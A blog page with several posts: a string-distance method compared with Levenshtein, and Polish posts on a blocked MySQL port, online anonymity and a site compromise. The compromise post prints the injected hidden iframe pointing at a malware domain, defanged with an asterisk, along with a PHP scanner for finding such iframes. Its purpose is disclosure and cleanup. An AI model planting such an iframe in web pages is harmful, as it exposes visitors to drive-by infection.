Working on the strings distances, or text metrics, I found out the Levenshtein method insufficient. For less-than-similar strings it doesn’t help at all, giving numbers close to max possible, and for similar strings it does not consider the quality of different letters. Generally speaking, I find Janet1 closer to Janet2 than to Janet9. Or ABC closer to BBC than to NBC. The notion of number of operations in Lev method didn’t quite suit me either. Thinking of operations needed to create one string of the other, I’d rather take the count of smartest possible copy&paste moves. In other words, how many times I have to cut one string to make the other of the slices. That would be distance in first dimension. The other – distance between letters replacing each other: when abc becomes bbc, it’s a-b replacement, and distance from a to b is 1. The distance depends on the alphabet used. For some cases it’s more useful to use a keyboard-layout order of characters instead of usual alphabetic, in order to emphasise similarities based on easy typed sequences, like asdf or qwerty. Here’s some Flash demo, calculator and benchmark to compare performance of Levenshtein and my method.

3d position of the words

it depends on their similarity to the word you input

Similarity calculator

gives the original Levenshtein and the distance3d figures

Benchmarking

Levenshtein is rather quadratic, while distance3d seems more like linear, though the
difference shows up for words longer than 15 characters.

Następnym razem wyślijcie maila, będzie taniej.

Dla jednej ze stron potrzebowaliśmy połączenia bezpośredniego dla MySQL, na porcie 3306, do synchronizacji bazy z lokalną w biurze. Działało. Aż pewnego dnia admin home.pl stwierdził duży ruch na tym porcie z naszego adresu. Zablokował więc ten ruch “ze względów bezpieczeństwa”. Co ciekawe, nadal można się połączyć z dowolnego innego IP. Z mojego punktu widzenia zablokowany został adres najbardziej uprawniony do generowania ruchu, a pozostawiono otwarte połączenie z resztą świata, pełną złoczyńców i pedofilów… ;-) Teraz więc synchronizacja odbywa się z laptopa przez neostradę, a sens operacji pozostaje dla mnie tajemnicą.

Zbiegło się ostatnio parę spraw, które mają ją za wspólną genezę. Czytając o aferze Kataryna-Czuma, o masowo fałszowanych opiniach, drobnych fałszerstwach, wreszcie nie czytając portali typu dupelek.pl, czy plutek.pl, cały czas mam wrażenie, że ta anonimowość niedobra jest. Gdy sam piszę tutaj, to każdy wykazując odrobinę zaangażowania jest w stanie sprawdzić, ktom zacz. Kiedy znowu postanowię wylać kubeł pomyj na ministra, żonę piłkarza czy nowy odtwarzacz mp3, to mogę użyć dowolnie wybranego nicka i nikt bez zgody sądu i/lub administratora nie pozna mojej tożsamości. A opinia w świat pójdzie. Gdyby była to moja prywatna opinia, pół biedy. Problem zaczyna się wówczas, gdy ktoś sypnie jakimś honorarium po 10 gr za autorski wpis. Autorsko zarabiając na życie, masy pracujące tworzą dowolnie fałszywy, zamówiony przez pracodawcę obraz dowolnego zjawiska. Konsekwencje są wiadome, fantastyczna zdolność Sieci do wyławiania potrzebnych informacji gnije i śmierdzi zdechłą rybą. Ponieważ jestem lekkomyślnym zwolennikiem przechodzenia do demokracji elektronicznej, trochę mnie ta słabość wirtualnego świata niepokoi.

Zastanawiam się, co można z tym zrobić. Wiadomo — administracyjnie nie da się nagle zabronić publikacji anonimowych treści, zresztą nie o to chodzi. Zależałoby mi na tym, żeby autor dowolnego wpisu mógł ujawnić swoją tożsamość. Takie posty, wpisy, komentarze byłyby wielokrotnie bardziej wiarygodne. Sfera anonimowa pozostałaby miejscem dla amatorów pomyj i wytrzymałych. Pierwsza rzecz, to ogólny standard typu OpenID, Windows LiveID czyli jakby paszport dostępny na każdej stronie w necie. Są też inne projekty, jak Liberty Alliance Project. Na szczęście nieźle to działa we wszelkich portalach społecznościowych wymuszających jawność osoby, jak nasz Goldenline czy Allegro. Mam tylko nadzieję, że biznesplany właścicieli innych opiniotwórczych stron uwzględnią “potrzebę konsumenta” i wypromują obywatelską bądź co bądź, postawę polegającą na podpisywaniu się własnym imieniem i nazwiskiem.

Czego wszystkim życzę,

Piotr Tomaszewski

Również niniejsza strona i nasza główna — ntxt.net, zostały, jak mówią Amerykanie, skompromitowane. Piątego kwietnia we wszystkich plikach PHP i HTML o nazwach zaczynających się na ‘index’ pojawił się taki kawałek (dodałem gwiazdkę przed http):

<iframe src="*http://lotante.cn/in.cgi?income38"
width=1 height=1 style="visibility: hidden"></iframe>

Konkretny adres bywa różny, lista podejrzanych domen jest spora. Ten akurat podobno (bo nie sprawdzałem!) sprawdza obecność pluginu Flash luub Acrobat Readera, po czym ściąga spreparowany plik PDF albo SWF. Moim zdaniem warto mieć wyłączony domyślnie JavaScript, (w Firefoksie np. rozszerzeniem NoScript). Infekcja może spowodować że Google będzie sygnalizować zagrożenie przy wchodzeniu na stronę (jeśli ktoś to zgłosi, oczywiście). Oprócz pozbycia się robactwa z komputera, należy koniecznie zmienić hasło do FTP, unikając zapamiętywania go przez program. Total Commander w najnowszej wersji (7.5 beta) ma już ochronę haseł szyfrowaniem i hasłem głównym.

Trzeba też odnaleźć wszystkie zmiany poczynione przez bota na FTP, a to żmudne zajęcie. Odrobinę może pomóc taki skrypt w PHP, przeczesujący pliki zawierające ‘index’ w nazwie i sygnalizujący wystąpienia taga <iframe>. Aby z neigo skorzystać, trzeba zapisać go np. pod nazwą znajdziframe.php w katalogu ze stroną, ustawiając wcześniej zmienną $root na odpowiednią dla swojego serwera. Potem, z przeglądarki, wywołujemy go wpisując adres: http://mojserwer/znajdziframe.php?depth=10 i czekamy na listę podejrzanych (bo nie każdy iframe jest zły!). Parametr depth określa głębokość, na jaką w podkatalogi zagłębi się sprawdzacz licząc od katalogu głównego.

< ?
// katalog główny strony
$root = '/public_html';
 
// głębokość sprawdzania w podkatalogach
$depth = empty($_GET['depth']) ? 5 : $_GET['depth'];
 
// uruchomienie
digdir($root, $depth);
 
// rekurencyjna funkcja sprawdzająca
function digdir($dir, $level){
	if($level <= 0) return false;
	$handle = opendir($dir);
		while($plik = readdir($handle)){
			$path = "$dir/$plik";
			if(substr($plik, 0, 1)!="."){
				//$data = date("Y-m-d", filemtime($path));
				//$prawa = decoct(fileperms($path));
 
				if(!is_dir($path)){
					//$rozmiar = filesize($path);
					if(preg_match('/index/', $plik)){
						$contents = file_get_contents($path);
						if(preg_match('/iframe/', $contents)) echo "znaleziono iframe w $path<br/>";
					}
				} else {
					digdir($path, $level - 1);
				}			
			}
		}
	closedir($handle);	
}
 
?>